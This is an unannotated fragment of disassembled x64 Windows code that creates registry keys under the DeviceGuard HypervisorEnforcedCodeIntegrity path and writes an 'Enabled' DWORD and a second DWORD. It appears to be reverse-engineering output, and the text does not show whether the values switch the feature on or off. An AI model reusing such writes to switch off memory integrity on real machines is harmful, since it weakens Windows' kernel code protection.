call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x14006e676
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
lea rdx, str.Enabled
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x68]
test eax, eax
jne 0x14006e670
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rax
lea rdx, str.SYSTEMCurrentControlSetControlDeviceGuardScenariosHypervisorEnforcedCodeIntegrityPolicies
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 2
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x14006e676
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
lea rdx, [0x1401fd470]
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x68]
test eax, eax
jne 0x14006e670
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
add rsp, 0x50
pop rbx
ret